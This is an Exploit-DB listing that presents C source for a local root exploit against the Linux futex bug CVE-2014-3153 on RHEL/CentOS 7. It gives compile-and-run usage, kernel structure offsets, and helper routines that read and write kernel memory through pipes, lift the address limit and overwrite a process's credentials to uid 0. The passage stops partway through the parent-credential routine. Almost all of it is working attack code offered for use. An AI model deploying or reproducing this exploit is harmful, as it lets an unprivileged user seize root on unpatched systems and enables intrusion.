Exploit-DB #35370
Description: Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation
Type: local
Platform: linux
Date: 2014-11-25
Author: Kaiqu Chen

Exploit:
/*
 * CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
 * By Kaiqu Chen ( kaiquchen@163.com )
 * Based on libfutex and the expoilt for Android by GeoHot.
 *
 * Usage:
 * $gcc exploit.c -o exploit -lpthread
 * $./exploit
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <pthread.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <linux/futex.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <netinet/in.h>  
#include <netinet/tcp.h>  

#define ARRAY_SIZE(a)	(sizeof (a) / sizeof (*(a)))

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define USER_PRIO_BASE          120
#define LOCAL_PORT              5551

#define SIGNAL_HACK_KERNEL      12
#define SIGNAL_THREAD_EXIT      10

#define OFFSET_PID			0x4A4 
#define OFFSET_REAL_PARENT	0x4B8
#define OFFSET_CRED			0x668

#define SIZEOF_CRED			160
#define SIZEOF_TASK_STRUCT	2912
#define OFFSET_ADDR_LIMIT	0x20

#define PRIO_LIST_OFFSET	8	
#define NODE_LIST_OFFSET	(PRIO_LIST_OFFSET + sizeof(struct list_head))
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))

////////////////////////////////////////////////////////////////////
struct task_struct;

struct thread_info {
  struct task_struct *task;
  void *exec_domain;
  int flags;
  int status;
  int cpu;
  int preempt_count;
  void *addr_limit;
};

struct list_head {
  struct list_head *next;
  struct list_head *prev;
};

struct plist_head {
	struct list_head node_list;
};

struct plist_node {
  int                     prio;
  struct list_head        prio_list;
  struct list_head        node_list;
};

struct rt_mutex {
	unsigned long		wait_lock;
	struct plist_head	wait_list;
	struct task_struct	*owner;
};

struct rt_mutex_waiter {
  struct plist_node       list_entry;
  struct plist_node       pi_list_entry;
  struct task_struct      *task;
  struct rt_mutex         *lock;
};

struct mmsghdr {
  struct msghdr msg_hdr;
  unsigned int  msg_len;
};

struct cred {
	int	usage;
	int	uid;		/* real UID of the task */
	int	gid;		/* real GID of the task */
	int	suid;		/* saved UID of the task */
	int	sgid;		/* saved GID of the task */
	int	euid;		/* effective UID of the task */
	int	egid;		/* effective GID of the task */
	int	fsuid;		/* UID for VFS ops */
	int	fsgid;		/* GID for VFS ops */
};

////////////////////////////////////////////////////////////////////

static int swag = 0;
static int swag2 = 0;
static int main_pid;

static pid_t waiter_thread_tid;

static pthread_mutex_t hacked_lock;
static pthread_cond_t hacked;

static pthread_mutex_t done_lock;
static pthread_cond_t done;

static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;

static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;

static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;

static pid_t last_tid = 0;

static volatile int_sync_time_out = 0;

struct thread_info thinfo;
char task_struct_buf[SIZEOF_TASK_STRUCT];
struct cred cred_buf;

struct thread_info *hack_thread_stack = NULL;

pthread_t thread_client_to_setup_rt_waiter;

int listenfd;
int sockfd;
int clientfd;

////////////////////////////////////////////////////////////////
int gettid()
{
	return syscall(__NR_gettid);
}

ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	len = write(pipefd[1], kbuf, count);

	if (len != count) {
		printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
		while(1) { sleep(10); }
	}

	read(pipefd[0], ubuf, count);

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	write(pipefd[1], ubuf, count);
	len = read(pipefd[0], kbuf, count);

	if (len != count) {
		printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
		while(1) { sleep(10); }
	}

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

int pthread_cancel_immediately(pthread_t thid)
{
	pthread_kill(thid, SIGNAL_THREAD_EXIT);
	pthread_join(thid, NULL);
	return 0;
}

void set_addr_limit(void *sp)
{
	long newlimit = -1;
	write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
}

void set_cred(struct cred *kcred)
{
	struct cred cred_buf;
	int len;

	len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
	cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
	cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
	len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
}

struct rt_mutex_waiter *pwaiter11;

void set_parent_cred(void *sp, int parent_tid)
{
	int len;
	int tid;
	struct task_struct *pparent;
	struct cred *pcred;
	
	set_addr_limit(sp);
	
	len = read_pipe(sp, &thinfo, sizeof(thinfo));
	if(len != sizeof(thinfo)) {
		printf("Read %p error %d\n", sp, len);
	}
	
	void *ptask = thinfo.task;
	len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
	tid = *(int *)(task_struct_buf + OFFSET_PID);

	while(tid != 0 && tid != parent_tid) {
		pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
		len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
		tid = *(int *)(task_struct_buf + OFFSE